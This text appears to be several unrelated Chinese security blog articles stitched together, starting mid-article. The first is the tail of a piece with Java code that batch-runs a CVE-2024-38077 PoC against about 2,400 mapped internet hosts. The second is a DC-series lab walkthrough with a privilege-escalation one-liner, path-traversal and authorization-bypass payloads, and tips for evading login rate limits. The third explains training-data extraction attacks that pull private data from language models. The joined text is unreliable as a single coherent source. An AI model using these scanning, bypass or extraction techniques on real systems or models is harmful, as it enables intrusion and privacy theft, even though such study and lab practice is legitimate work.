从输出文件可以看出,除了第一行是注释,下面的内容都很有规律,每六行是对一个IP的描述,包含135和3389两个端口,而且格式都固定。由于需求要的是开放两个端口的所有IP,现成的工具没有能够满足的,只能自己写,又一次掏出了idea......
胶水代码
从Nmap的输出结果不难分析,如果要写代码处理的话,每六行可以看成是一个Nmap类,而这个类里面只需要3个属性,IP、port-135、port-3389。直接上代码:
//读取外部文件
BufferedReader reader = new BufferedReader(new FileReader(file));
MNmap nmap = null;
ArrayList<MNmap> list = new ArrayList();
int count = 0;
String line;
//循环读取每一行
while ((line = reader.readLine()) != null) {
//ip
if (line.startsWith("Nmap")) {
nmap = new MNmap();
nmap.ip = TNmap.findIp(line);
}
//135
if (line.startsWith("135") && nmap != null) {
nmap.p135 = TNmap.findP135(line);
}
//3389
if (line.startsWith("3389") && nmap != null) {
nmap.p3389 = TNmap.findP3389(line);
//将每一个nmap对象加入list
list.add(nmap);
}
}
到这里整个任务已经完成了一半,精准的资产已经筛选出来了,大概2400多个。接下来就是使用poc工具扫描了,毕竟两千多条数据,总不能手动设置两千多次吧,所以还是要写代码:
//循环执行exe工具,参数是nmap的IP,并逐个获取执行结果
for (int i = 0; i < list.size();i++) {
MNmap nmap1 = list.get(i);
if ("open".equals(nmap1.p135) && "open".equals(nmap1.p3389)) {
try {
// 指定要执行的exe文件及其参数
ProcessBuilder processBuilder = new ProcessBuilder(exeFile, nmap1.ip);
// 启动进程
Process process = processBuilder.start();
// 读取标准输出
BufferedReader r = new BufferedReader(new InputStreamReader(process.getInputStream()));
String l;
while ((l = r.readLine()) != null) {
if (l.contains("Vulnerability"))
System.out.println(l);
}
// 读取标准错误(如果需要)
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
String errorLine;
while ((errorLine = errorReader.readLine()) != null) {
System.out.println("Standard Error: " + errorLine);
}
// 等待外部程序执行完成
int exitCode = process.waitFor();
if (exitCode == 0) {
System.out.println("程序执行完成");
} else {
System.out.println("程序执行出错,退出码:" + exitCode);
}
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
//计数
count++;
}
}
System.out.println("total: " + count);
这里贴出的只是关键的两段代码,完整项目见文末链接。最后将项目打成jar包,与CVE-2024-38077.exe和Nmap输出文件放在同一目录下:
开启powershell运行jar包,设置poc参数为CVE-2024-38077,同时指定输入IP的文件路径和输出文件路径,等待扫描完后得到存在漏洞的资产列表。
总结
CVE-2024-38077漏洞的探测难点在于一是没有成型的工具,二是空间测绘出来的大批量资产如何导出与二次筛选。本文的思路只是临时方案,相信后面会有大神公开其exp,最终出现像MS17010一样的工具。
靶场战神为何会陨落?
我从第一个SQL注入漏洞原理学起,从sql-libas到DVWA,到pikachu再到breach系列,DC系列靶场,再到实战挖洞,发现靶场与实战的区别是极其大的。
我个人觉得在这种web环境下,难的不是怎么测一个漏洞点,而是怎么找一个漏洞点。靶场与实战最大的区别在于你不知道这个地方到底有没有漏洞,尤其是在复杂的业务数据交互下,数据包,参数,接口将极其复杂。
本文将以DC系列靶场为例子,分析靶场与实战的区别,同时分享实战思路与需要用到的一些工具插件。
(本文并不主讲靶场,因为网上已经有很多这种文章了)
DC-1
探测:nmap扫描端口,dirsearch扫目录,配合插件wappalyzer识别信息。
火狐wappalyzer插件下载地址:
https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/打点:识别出DrupalCMS,上MSF搜索利用,拿到shell。
找到flag1,根据flag1提示找到配置文件,在配置文件找到数据库账号密码,连接成功。
在数据库找出admin密码,发现有加密,根据靶场已有脚本修改数据库admin密码,成功登录web后台。
深入:进入后台后找到flag3根据提示cat/etc/passwd。找到flag4,根据flag4提示进行find提权:find / -exec"/bin/bash" -p \;找到最后的flag。
实战区别分析:
探测阶段:在拿到一个IP后除了进行基础操作nmap,dirsearch,指纹识别外,可能还要查找IP的域名,以及IP对应的公司,并根据公司名再次扩大信息搜集范围,到google,github以及资产搜索引擎上利用相关语法搜集默认密码,账号,邮箱等等信息。
并且根据关键字,及密码特征制作特定社工字典进行登录框爆破。而且实战一般情况dirsearch可能扫不出来什么东西,这时候还要到google和资产搜索引擎上查找。
靶场一般不会用到资产搜索引擎,例如fofa,鹰图,但它确实极其重要。
打点阶段:对于历史漏洞的利用不要只停留在指纹识别这些特征上,还要从数据包上分析。
但如果是登录框没进入后台哪有什么数据包呢?
如下:我在测某个系统时,将请求方法GET修改为POST直接爆出IIS版本,然后一个中间件nday通杀了两百多个站,而靶场一般是不会出现这种测试方法的:那就是想办法让系统报错!
实战中如果想对密码进行修改,我遇到过的:一种就是未授权调用后台修改密码接口修改,另一种就是忘记密码处的逻辑绕过,当然忘记密码这个功能可能前端并不会直接给出,需要自己通过js文件等等信息拼接口。
DC-2
探测:nmap探测IP端口服务,修改本地DNS文件访问靶场IP网站(找到crew字段),通过目录扫描找到后台登录口。
打点:通过cewl对网站定向搜集获取密码,通过CMS对应WPscan插件获取用户名,联合爆破进入后台。(jerry及tom的账号密码)
翻看后台提示后放弃wordpress历史漏洞,尝试ssh连接
jerry的ssh连接不上,tom连接成功(已得到的账号密码)
深入:直接SSH登录成功,执行命令发现rbash限制:
自然想到rbash逃逸,逃逸成功后拿到flag3
此时用su进行用户tom转换可以成功,拿到flag4后根据git字段提示,进行git提权拿到最后的flag
实战区别分析:
探测阶段:很多IP经过nmap扫描后发现只会开放80端口,且80端口为主站,渗透难度极大,且我用dirsearch等工具扫目录很少能扫出有用的目录。
在找脆弱资产时还需要结合关键字,资产搜索引擎,google语法等搜索:
例如这个站:(浙大某脆弱资产)只能通过google语法site:xxx搜索出来,因为直接访问域名为404界面,路径极其复杂无法爆破,资产搜索引擎没有记录。
打点阶段:登录口的爆破也极有可能遇到次数限制
此时需要尝试绕过:修改为随机IP,随机UA头,修改Referrer为127.0.0.1等等
这里推荐一款工具可以用来伪造IP爆破:
https://github.com/ianxtianxt/burpsuiefakeip即使没有次数限制,可能也需要根据公司名称缩写,系统名称缩写配合admin,administrator等字段及特殊字符通过工具(白鹿社工字典)自制密码进行爆破。
因为靶场拿到flag1后根据提示crewl(一个可以搜集账号的工具)就知道要爆破进入后台,实战可能还会在忘记密码处耗费时间。
且实战不会有如下靶场提醒:(无法利用wordpress历史漏洞,需另寻他法)
实战过程中ssh连接可能也不会如此顺利(靶场直接使用wp登录界面爆破出来的密码登录)
DC-3
探测:扫端口,扫目录,查指纹(joomla)
打点:使用joomscan工具进行漏洞扫描,找到版本,searchsploit找到sql注入漏洞,脱库拿到账号密码,john解密成功。
登录管理员后台成功,找到上传点直接getshell。
无法在虚拟终端反弹shell,于是返回上传点创建反弹shell的php文件,kali接受成功。
深入:利用用searchsploit工具搜索及蚁剑上传进行操作系统提权成功。
实战区别分析:
探测阶段:扫描目录时会找到两个登录界面,在实战中,需要将注意力放在并不对外使用的界面,它们属于脆弱资产,例如员工登录入口,管理员登录入口,像对外开放的,可以注册的那些登陆界面,虽然功能点更多,但由于经常有人访问,会经常维护,它们的安全性会更高,不容易出洞。
打点阶段:靶场依旧是利用ndaysql注入脱库拿到账号密码,但实战过程中找到一个sql注入后去脱库的可能性不大。在src中一般只用证明该漏洞存在即可,在渗透过程中要脱库就一定要先拿到有明确的渗透权限。
DC-4
探测:访问IP,出现登录框,以admin为账号,bp默认字典爆破成功
打点:后台直接执行命令抓包,radio参数执行命令成功,进行shell反弹
深入:翻找文件,找到账号与密码字典,hydra进行ssh爆破成功,继续翻找文件,找到charles账号密码,su切换用户,根据关键字teehee进行提权找到flag
实战区别分析:
探测阶段:可以看到靶场并无脚本源码,且那么就减少了很多黑盒测试点,而且靶场必定会存在漏洞这也是与实战的重大区别之一,而且很容易就爆破成功
打点阶段:本靶场后台功能极其简单只有一个功能点,且一看就是要测试RCE,但实战你遇到的可能是如下界面:
会有很多模块,很多功能需要测试,对这种后台打点通常会先尝试文件上传漏洞,因为上传点更容易寻找,而RCE测试点则极为复杂,通常会在例如"系统""命令"等字段的模块,但其实所有模块都可能存在RCE,因为模块本身就是前端与后台执行功能的地方,黑盒测试你无法从前端界面直接看出究竟哪个模块调用了执行命令的参数。
所以黑盒测试RCE需要将前端功能点转换为数据包,从接口,参数进行测试。
DC-5
探测:nmap扫端口,dirsearch扫目录,指纹识别
打点:在扫出来的目录中翻阅时发现存在文件包含,直接以file参数读取成功。
确定为本地包含后,找到靶机日志,将webshell写入日志,getshell成功。
深入:利用searchsploit对/bin/screen-4.5.0进行本地提权成功。
实战区别分析:
打点阶段:靶场文件包含的漏洞特征很明显,但实战中就并不会有这类提示,黑盒测试的思路就是多猜。而且在实战中想要利用文件包含进行getshell的难点就是找不到正确的路径和权限不够,并不会像靶场这样直接就能爆破出来,并且能直接包含。
实战更多的步骤还是在找漏洞而并不是测漏洞。
DC-6
探测:nmap扫描端口(22,80),dirsearch扫描目录,whatweb识别
打点:发现wordpress指纹,使用wpscan扫描,使用提示的命令cat/usr/share/wordlists/rockyou.txt | grep k01 > password爆破进入后台。
需要修改本地dns文件才能访问靶场。
在后台发现使用activity monitor,使用searchsploit搜索,利用脚本getshell.
深入:在后台文件找到graham账号密码,于是进行ssh登陆成功,再次找到免密码执行的sh脚本,利用脚本完成提权。
实战区别分析:
打点阶段:本靶场发现RCE有两种方式,一是nday探测二是手测,漏洞点出现在输入IP的字段,也算是RCE的高发点,在实战过程中像交换机路由器后台也通常会有类似功能点,可以进行RCE测试。
DC-7
探测:nmap探测端口,发现端口80与22(估计又要ssh爆破),扫描出目录:/user/login
打点:访问IP看到如下提示
到github上搜索左下角名称:Dc7User拿到账号密码,于是进行ssh连接成功
翻找文件,找到一个邮箱,根据邮箱内容找到脚本文件(属于root主),发现可执行drush命令,通过drush命令进行web界面密码修改,并成功登录。
基于Drupal 8特性,安装好插件后上传webshell连接成功。
深入:,将反弹shell的命令添加到先前的脚本中,因为先前找出来的脚本属主为root进行权限提升。
实战区别分析:
打点阶段:打点阶段用到的github信息搜集极其重要,在实战中通过账号密码直接登录ssh或者数据库或者web后台也是存在较大可能的。
在github上也经常能发现公司代码、账号密码、个人信息或客户key等敏感信息。
常用github搜索语法:
in:name admin 仓库标题搜索含有关键字admin
in:readme test Readme文件搜索含有关键字
user:admin 用户名搜索
language:java admin 在java语言的代码中搜索关键字
github信息搜集工具:https://github.com/FeeiCN/GSIL
本靶场的后台功能点还是很多的,但通过drush命令进入后台感觉还是属于靶场的味道。在实际挖洞过程中,如果账号密码无法爆破,更多可能是分析js文件(从js文件中找更多js再从js中提取接口),找隐藏接口,也就是前端页面并未显示有注册修改密码等功能,但可以从js中找到接口,实现登录后台的目的!
这里分享一个很适合找敏感接口信息的bp插件HAE:https://github.com/gh0stkey/HaE
DC-8
探测:nmap扫描端口(22,80),whatweb指纹识别
打点:访问靶场IP点击左方,出现参数。
加单引号后报错,用sqlmap拿到数据john解密拿到账号密码,进入后台。
此处插入webshell配合msf直接getshell成功。
深入:执行find / -perm -u=s -type f 2>/dev/null,根据exam4完成提权.
实战区别分析:
打点阶段:靶场依旧是利用的靶场思路sql注入拿到账号密码,再进入后台.但不要觉得sql注入实战很容易挖到(看你挖什么资产了),一般出sql注入就是一个高危.而且靶场sql注入还是一个前台的sql注入,这种get传参的前台sql注入已经是很多年前的了,实战中基本不要想遇到,但也要去测试.
靶场中的getshell方式实战中我没遇到过,这种插入方式感觉更像XSS漏洞测试处.
DC-9
探测:nmap探测端口,发现端口80与22(filtered状态)
打点:通过dirsearch扫出search.php,manage.php目录,进入后直接找到sql注入点。
sqlmap脱库MD5解密拿到账号密码登录manage.php后台。
根据File does not exist提示进行文件包含利用?file=../../../../
FUZZ系统文件找到/etc/knockd.conf,泄露7469 84759842端口。通过nc敲开端口,根据/etc/passwd读取账号密码进行ssh爆破。
登录爆破出的账号翻文件搜集字典,再次进行ssh爆破出新账号。
深入:登录新账号,先执行sudo-l,找到python脚本,分析利用脚本完成提权。
实战区别分析:
打点阶段:靶场sql注入点较为经典,处于搜索框。且虽然存在sql注入,但如果只添加单引号并不会出现报错,还需要进一步探测才能发现!
这里推荐一款常用工具:
https://github.com/synacktiv/HopLaBP辅助payload插件,可以一键插入常用payload,不用额外再找字典等等。
对于sql注入的黑盒测试不要局限思路,你觉得可能带入数据库的参数都需要测试,尤其是在排序例如desc等不能被预编译的字段。
打点处的文件包含漏洞算是一种实战思路:也就是?file=../../../etc/passwd或者?path=../../../etc/passwd这类payload可以在挖洞过程随机添加,不一定要对应着功能点才去测试,只要存在file,download等敏感字段都可以添加尝试,因为这可能是隐藏功能点。
靶场可能更多的功能是练习单个的知识点,实战少遇到的知识点,比如一个新手可能挖半年漏洞都无法getshell一次,更别提后渗透等等了。但在打靶的同时也要关注对nday,1day漏洞的黑盒分析,并进行总结。
例如下对权限绕过的一个分析总结:
1:大小写替换绕过
/api/home/admin--/api/home/ADMIN
2:通配符替换字符:
/api/user/6---403
/api/user/*---200
3:路径穿越:
/api/home/user---403
/api/MYPATH/../home/user---200
/api/home/..;/..;/..;/..;/home/user---200
除此外还要关注最近的系统或者框架0day例如SQL注入,RCE等等它们的注入参数是哪个,目录特征怎样?这样在实战过程中靶场战神才不至于陨落。
大模型隐私泄露攻击技巧分析与复现
前言
大型语言模型,尤其是像ChatGPT这样的模型,尽管在自然语言处理领域展现了强大的能力,但也伴随着隐私泄露的潜在风险。在模型的训练过程中,可能会接触到大量的用户数据,其中包括敏感的个人信息,进而带来隐私泄露的可能性。此外,模型在推理时有时会无意中回忆起训练数据中的敏感信息,这一点也引发了广泛的关注。
隐私泄露的风险主要来源于两个方面:一是数据在传输过程中的安全性,二是模型本身的记忆风险。在数据传输过程中,如果没有采取充分的安全措施,攻击者可能会截获数据,进而窃取敏感信息,给用户和组织带来安全隐患。此外,在模型的训练和推理阶段,如果使用了个人身份信息或企业数据等敏感数据,这些数据可能会被模型运营方窥探或收集,存在被滥用的风险。
过去已经发生了多起与此相关的事件,导致许多大公司禁止员工使用ChatGPT。此前的研究表明,当让大模型反复生成某些特定词汇时,它可能会在随后的输出中暴露出训练数据中的敏感内容。
学术研究表明,对模型进行训练数据提取攻击是切实可行的。攻击者可以通过与预训练模型互动,从而恢复出训练数据集中包含的个别示例。例如,GPT-2曾被发现能够记住训练数据中的一些个人信息,如姓名、电子邮件地址、电话号码、传真号码和实际地址。这不仅带来了严重的隐私风险,还对语言模型的泛化能力提出了质疑。
本文要探讨的就是可以高效从大模型中提取出用于训练的隐私数据的技巧与方法,主要来自《Bag of Tricks for Training Data Extraction from Language Models》,这篇论文发在了人工智能顶级会议ICML 2023上。
背景知识
尽管大模型在各种下游语言任务中展现了令人瞩目的性能,但其内在的记忆效应使得训练数据可能被提取出来。这些训练数据可能包含敏感信息,如姓名、电子邮件地址、电话号码和物理地址,从而引发隐私泄露问题,阻碍了大模型在更广泛应用中的推进。
之前谷歌举办了一个比赛,链接如下
https://github.com/google-research/lm-extraction-benchmark/tree/master这是一个针对性数据提取的挑战赛,目的是测试参赛者是否能从给定的前缀中准确预测后缀,从而构成整个序列,使其包含在训练数据集中。这与无针对性的攻击不同,无针对性的攻击是搜索训练数据集中出现的任意数据。
针对性提取被认为更有价值和具有挑战性,因为它可以帮助恢复与特定主题相关的关键信息,而不是任意的数据。此外,评估针对性提取也更容易,只需检查给定前缀的正确后缀是否被预测,而无针对性攻击需要检查整个庞大的训练数据集。
这个比赛使用1.3B参数的GPT-Neo模型,以1-eidetic记忆为目标,即模型能够记住训练数据中出现1次的字符串。这比无针对性和更高eidetic记忆的设置更具有挑战性。
比赛的基准测试集包含从The Pile数据集中选取的20,000个示例,这个数据集已被用于训练许多最新的大型语言模型,包括GPT-Neo。每个示例被分为长度为50的前缀和后缀,攻击的任务是在给定前缀的情况下预测正确的后缀。这些示例被设计成相对容易提取的,即存在一个前缀长度使得模型可以准确生成后缀。
训练数据提取
从预训练的语言模型中提取训练数据,即所谓的"语言模型数据提取",是一种恢复用于训练模型的示例的方法。这是一个相对较新的任务,但背后的许多技术和分析方法,如成员资格推断和利用网络记忆进行攻击,早就已经被引入。
Carlini等人是最早定义模型知识提取和κ-eidetic记忆概念的人,并提出了有希望的数据提取训练策略。关于记忆的理论属性以及在敏感领域应用模型提取(如临床笔记分析)等,已经成为这个领域后续研究的焦点。
最近的研究也有一些重要发现:
Kandpal等人证明,在语言模型中,数据提取的效果经常归因于常用网络抓取训练集中的重复。
Jagielski等人使用非确定性为忘记记忆示例提供了一种解释。
Carlini等人分析了影响训练数据记忆的三个主要因素。
Feldman指出,为了达到接近最优的性能,在自然数据分布下需要记忆标签。
Lehman等人指出,预训练的BERT在训练临床笔记时存在敏感数据泄露的风险,特别是当数据表现出高水平的重复或"笔记膨胀"时。
总的来说,这个新兴领域正在深入探讨如何从语言模型中提取训练数据,以及这种提取带来的安全和隐私风险。最新的研究成果为进一步理解和应对这些挑战提供了重要的洞见。
成员推理攻击
成员资格推断攻击(MIA)是一种与训练数据提取密切相关的对抗性任务,目标是在只能对模型进行黑盒访问的情况下,确定给定记录是否在模型的训练数据集中。MIA已被证明在各种机器学习任务中都是有效的,包括分类和生成模型。
MIA使用的方法主要分为两类:
基于分类器的方法:这涉及训练一个二元分类器来识别成员和非成员之间的复杂模式关系,影子训练是一种常用的技术。
基于度量的方法:这通过首先计算模型预测向量上的度量(如欧几里得距离或余弦相似度)来进行成员资格推断。
这两类方法都有各自的优缺点,研究人员正在不断探索新的MIA攻击方法,以更有效地从机器学习模型中推断训练数据。这突出了训练数据隐私保护在模型部署和应用中的重要性。对MIA技术的深入理解,有助于设计更加安全和隐私保护的机器学习模型训练和部署策略,这对于广泛应用尤其是在敏感领域的应用至关重要。
其他基于记忆的攻击
大型预训练模型由于容易记住训练数据中的信息,因此面临着各种潜在的安全和隐私风险。除了训练数据提取攻击和成员资格推断攻击之外,还有其他基于模型记忆的攻击针对这类模型。
其中,模型提取攻击关注于复制给定的黑盒模型的功能性能。在这类攻击中,对手试图构建一个具有与原始黑盒模型相似预测性能的第二个模型,从而可以在不获取原始模型的情况下复制其功能。针对模型提取攻击的保护措施,集中在如何限制模型的功能复制。
另一类攻击是属性推断攻击,其目标是从模型中提取特定的个人属性信息,如地点、职业和兴趣等。这些属性信息可能是模型生产者无意中共享的训练数据属性,例如生成数据的环境或属于特定类别的数据比例。
与训练数据提取攻击不同,属性/属性推断攻击不需要事先知道要提取的具体属性。而训练数据提取攻击需要生成与训练数据完全一致的信息,这更加困难和危险。
总之,这些基于模型记忆的各类攻击,都突显了大型预训练模型在隐私保护方面的重大挑战。如何有效应对这些攻击,成为当前机器学习安全研究的一个重要焦点。
威胁模型
数据集是从 Pile 训练数据集中抽取的 20,000 个样本子集。每个样本由一个 50-token 的前缀和一个 50-token 的后缀组成。
攻击者的目标是给定前缀时,尽可能准确地预测后缀。
这个数据集中,所有 100-token 长的句子在训练集中只出现一次。
采用了 HuggingFace Transformers 上实现的 GPT-Neo 1.3B 模型作为语言模型。这是一个基于 GPT-3 架构复制品,针对 Pile 数据集进行过训练的模型。
GPT-Neo 是一个自回归语言模型 fθ,通过链式规则生成一系列token。
这个场景中,攻击者希望利用语言模型对训练数据的记忆,来尽可能准确地预测给定前缀的后缀。由于数据集中每个句子在训练集中只出现一次,这就给攻击者提供了一个机会,试图从模型中提取这些罕见句子的信息。
在句子层面,给定一个前缀p,我们表示在前缀p上有条件生成某个后缀s的概率为fθ(s|p)。
我们专注于针对性提取 κ-eidetic 记忆数据的威胁模型,我们选择 κ=1。根据 Carlini定义的模型知识提取,我们假设语言模型通过最可能的标准生成后缀 s。然后我们可以将针对性提取的正式定义写为:
给定一个包含在训练数据中的前缀 p 和一个预训练的语言模型 fθ。针对性提取是通过下式来生成后缀
至于 κ-eidetic 记忆数据,我们遵循 Carlini的定义,即句子 [p, s] 在训练数据中出现不超过 κ 个示例。在实践中,生成句子的长度通常使用截断和连接技术固定在训练数据集上。如果生成的句子短于指定长度,使用填充 token 将其增加到所需长度。
流程
第一阶段 - 后缀生成:
利用自回归语言模型 fθ 计算词汇表中每个 token 的生成概率分布。
从这个概率分布中采样生成下一个 token,采用 top-k 策略限制采样范围,将 k 设为10。
不断重复这个采样过程,根据前缀生成一组可能的后缀。
第二阶段 - 后缀排名:
使用成员资格推断攻击,根据每个生成后缀的困惑度进行排序。
只保留那些概率较高(困惑度较低)的后缀。
这样的两阶段流程,首先利用语言模型生成可能的后缀候选,然后通过成员资格推断攻击对这些候选进行评估和筛选,从而尽可能还原出训练数据中罕见的完整句子。
这个训练数据提取攻击的关键在于,利用语言模型对训练数据的"记忆"来生成接近训练样本的内容,再结合成员资格推断技术进一步挖掘出高概率的真实训练样本。
其中 N 是生成句子中的 token 数量。
改进策略
为了改进后缀生成,我们可以来看看真实和生成token的logits分布。如下图所示,这两种分布之间存在显著差异。
为了解决这个问题,我们可以采用一系列技术进行改进
采样策略
在自然语言处理的条件生成任务中,最常见的目标是最大化解码,即给定前缀,找到具有最高概率的后缀序列。这种"最大似然"策略同样适用于训练数据提取攻击场景,因为模型会试图最大化生成的内容与真实训练数据的相似性。
然而,从模型中直接找到理论上的全局最优解(argmax序列)是一个不切实际的目标。原因在于,语言模型通常是auto-regressive的,每个token的生成都依赖于前面生成的内容,因此搜索全局最优解的计算复杂度会随序列长度呈指数级上升,实际上是不可行的。
因此,常见的做法是采用束搜索(Beam Search)作为一种近似解决方案。束搜索会在每一步保留若干个得分最高的部分解,而不是简单地选择概率最高的单一路径。这种方式可以有效降低计算复杂度,但同时也存在一些问题:
束搜索可能会缺乏生成输出的多样性,因为它总是倾向于选择得分最高的少数几个路径。
尽管增大束宽度可以提高性能,但当束宽超过一定程度时,性能增益会迅速下降,同时也会带来更高的内存开销。
为了克服束搜索的局限性,我们可以采用随机采样的方法,引入更多的多样性。常见的采样策略包括:
Top-k 采样:只从概率最高的k个token中进行采样,k是一个超参数。这种方法可以控制生成输出的多样性,但过大的k可能会降低输出的质量和准确性。
Nucleus 采样(Nucleus Sampling):从概率总和达到设定阈值的token集合中进行采样,可以自适应地调整采样空间的大小。
典型采样(Typical Sampling):从完整的概率分布中采样,偏向采样接近平均概率的token,可以在保持输出质量的同时引入更多的多样性。
总的来说,条件生成任务中的解码策略需要在生成质量、多样性和计算复杂度之间进行权衡。束搜索作为一种近似解决方案,能够有效控制计算成本,但缺乏生成多样性。而随机采样方法则可以引入更多的多样性,但需要在采样策略上进行细致的调整。这些技术在训练数据提取攻击中都有重要的应用价值。
Nucleus采样的核心思想是从总概率达到一定阈值η的token集合中进行采样,而不是简单地从概率最高的k个token中采样。
在故事生成任务中,研究表明较低的η值(如0.6左右)更有利于生成更为多样化和创造性的内容。这说明在生成任务中,保留一定程度的低概率token是有益的,可以引入更多的多样性。但在训练数据提取攻击这样的任务中,较大的η值(约0.6)效果更好,相比基线提升了31%的提取精度。这表明对于数据提取这类任务,我们需要更加关注生成内容与训练数据的相似性,而不是过度强调多样性。
如下图示进一步说明了这一点,即η值过大或过小都会导致性能下降。存在一个最优的η值区间,需要根据具体任务进行调整。
Typical-ϕ是一种用于自然语言生成任务的采样策略。它的核心思想是选择与预期输出内容相似的token,从而保证在典型解码中能够考虑到原始分布的概率质量。这种策略可以提高生成句子的一致性,同时减少一些容易出现的退化重复等问题。Typical-ϕ 策略在数学上等价于一个带有熵率约束的子集优化问题。这种策略在一定程度上可以控制生成文本的多样性和流畅性,平衡了文本质量和创造性。
Typical-ϕ 策略在不同任务中表现可能会有所不同。例如,在抽象摘要和故事生成任务中,Typical-ϕ 策略展现出一定的非单调趋势,即随着ϕ值的变化,生成文本的质量并非线性提升。这说明Typical-ϕ需要根据具体任务进行合适的参数调整,以达到最佳的生成效果。
概率分布调整
温度控制(Temperature)
这是一种直接调整概率分布的策略,通过引入温度参数T来重新归一化语言模型的输出概率分布。较高的温度T > 1会降低模型预测的确信度,但可以增加生成文本的多样性。研究发现,在生成过程中逐渐降低温度是有益的,可以在多样性和生成效率之间达到平衡。但过高的温度也可能导致生成的文本偏离真实分布,降低效率。因此需要合理调节温度参数。
重复惩罚(Repetition Penalty)
这是一种基于条件语言模型的策略,通过修改每个token的生成概率来抑制重复token的出现。具体做法是,重复token的logit在进入softmax层之前被除以一个值r。当r > 1时会惩罚重复,r < 1则会鼓励重复。研究发现,重复惩罚对训练数据提取任务通常有负面影响,因为它可能会抑制一些有用的重复信息。因此在使用重复惩罚时,需要根据具体任务和数据特点来合理设置参数r,在抑制不必要重复和保留有意义重复之间寻求平衡。
总的来说,温度控制和重复惩罚是两种常见的直接调整概率分布的策略,可以在一定程度上提高自然语言生成的质量和多样性。但它们也存在一些局限性,需要根据实际应用场景进行合理的参数调整和组合使用,以达到最佳的生成效果。
为了有效的向量化,通常在训练语言模型时将多个句子打包成固定长度的序列。例如,句子"Yu的电话号码是12345"可能在训练集中被截断,或与另一个句子拼接成前缀,如"Yu的地址在XXX。Yu的电话号码是12345"。训练集中的这些前缀序列并不总是完整的句子。为了更好地模拟这种训练设置,我们可以调整上下文窗口大小和位置偏移。
动态上下文窗口
训练窗口的长度可能与提取窗口的长度不同。因此,提出调整上下文窗口的大小,即之前生成的token的数量,如下所示。
此外,鼓励不同上下文窗口大小的结果在确定下一个生成的token时进行协作:
其中 hW 表示集成方法,W 表示集成超参数,包括不同上下文窗口大小的数量 m 和每个窗口大小 w_i。我们在代码中使用 m = 4 和 w_i ∈ {n, n - 1, n - 2, n - 3}。
动态位置偏移
位置嵌入被添加到像 GPT-Neo 这样的模型中的 token 特征中。在训练过程中,这是按句子批次添加的,导致相同的句子在不同的训练批次和生成过程中具有不同偏移的位置嵌入。
为了改进对记忆后缀的提取,可以通过评估不同偏移位置并选择 "最佳" 的一个来恢复训练期间使用的位置。具体来说,对于给定的前缀 p,评估不同的偏移位置 C = c_i,其中 c_i 是一系列连续自然数的列表,c_i = {c_i1, ...},使得 |c_i| = |p|,并计算相应的困惑度值。然后选择具有最低困惑度值的位置作为生成后缀的位置。
通过评估不同的位置偏移来选择最佳的位置嵌入,来提高模型对记忆后缀的提取能力。这种方法可以很好地补充原有的位置嵌入方法,增强模型的性能。
其中 ψ(·) 表示位置编码层,φ(·) 表示特征映射函数,𝜙^ϕ^ 表示包含位置编码的特征映射函数,P 计算前缀的困惑度。
前瞻(Look-Ahead)
有时候在生成过程中只有一个或两个token被错误生成或者放置在不适当的位置。为了解决这个问题,可以使用一种技术,它涉及向前看ν步,并使用后续token的概率来通知当前token的生成。前瞻的目标是使用后验分布来帮助计算当前token的生成概率。后验被计算为:
设 Track(xstart, xend | xcond) 表示从 xstart 开始到 xend 结束,在 xcond 条件下的轨迹的概率乘积。那么我们可以写ν步后验为:
其中 Track 被计算为:
超参数优化
以上提到的技巧涉及到各种超参数,简单地使用最佳参数通常是次优的。
手动搜索最佳超参数,也称为 "babysitting",可能非常耗时。
所以其实可以使用多功能的架构自动调整方法,结合了高效的搜索和剪枝策略,根据先进的框架来确定优化的超参数。作为搜索算法,比如可以确定搜索目标为 MP(精确度),搜索的参数包括 top-k、nucleus-η、typical-ϕ、温度 T 和重复惩罚 r。
后缀排名改进
在生成多个后缀之后,会进行一个排名过程,使用困惑度 P 作为度量来消除那些不太可能的后缀。然而,下图的统计分析揭示了真实句子并不总是具有最低困惑度值
句子级标准
文本的熵,由 Zlib 压缩算法用位数来确定,是序列信息内容的量化指标。使用由 GPT-Neo 模型计算的给定句子的困惑度与相同句子的 Zlib 熵的比率作为成员推断的度量。此外还可以分析困惑度和 Zlib 熵的乘积的潜在效用,因为当模型对其预测有高度信心时,这两种度量都趋于减少。实验表明这两种度量在成员推断任务的整体性能上只产生了边际改进。
词级别标准
对高置信度的奖励。记忆数据的高置信度存在是被称为 "记忆效应"的现象的明确特征之一。我们对高置信度的 token 进行奖励。如果句子包含置信度高的 token,那么生成的 token 的可能性高于某个阈值,并且生成的 token 与其他 token 之间的差异也高于某个阈值,我们会将其排名提高。具体来说,对于生成后缀中的 token 𝑥𝑛x**n,如果其概率高于阈值 0.9,那么我们会从后缀 𝑠𝑖s**i 的分数中减去一个给定的数值 0.1(原始分数 𝑠𝑖s**i 是其困惑度)。
鼓励惊讶模式。根据最近的研究,人类文本生成经常表现出一种模式,即高困惑度的 token 被间歇性地包含,而不是一直选择低困惑度的 token。为了解决这个问题,通过只基于大多数 token 计算生成提示的困惑度来鼓励惊讶 token(高困惑度 token)的存在:
其中 µ 和 σ 分别表示一批中 𝑝(𝑥𝑛∣𝑥[0:𝑛−1])p(x**n∣x[0:n−1]) 的均值和标准差。使用这种方法,生成中包含的惊讶 token 不会在整体句子困惑度上产生负面影响,从而在成员推断期间增加了它们被选择的可能性。
实战
分析关键的函数
如下函数通过批处理方式高效地生成文本,并计算每个生成文本的损失,以评估模型在生成任务中的表现。这样可以帮助分析和改进生成文本的质量和模型的泛化能力。
该函数的主要目的是从给定的提示中生成文本,并计算生成文本的概率(或损失)。
输入参数
prompts: 一个包含提示的numpy数组。
batch_size: 每次处理的提示数量,默认值为32。
主要步骤
初始化:
初始化空列表用于存储生成的文本和相应的损失。
确定生成文本的总长度,这包括前缀和后缀的长度。
批次处理:
将提示按批次进行处理,批次大小由 batch_size 决定。
将每个批次的提示堆叠成一个批次,并转换为PyTorch张量。
生成文本:
使用模型生成文本。生成过程中:
将输入提示移至GPU。
设置生成文本的最大长度。
进行随机采样(do_sample=True),并只考虑概率最高的10个标记(top_k=10)。
处理生成过程中可能出现的填充标记。
计算概率:
将生成的文本再次输入模型,计算每个标记的概率。
提取模型输出的logits,重新整形为二维张量。
使用交叉熵计算每个标记的损失。
将损失重新整形,并提取后缀部分的损失。
计算每个生成序列的平均损失,作为生成文本的概率。
存储结果:
将生成的文本和损失转换为numpy数组,并分别存储在列表中。
返回结果:
返回生成的文本和相应的损失,以numpy数组的形式返回。
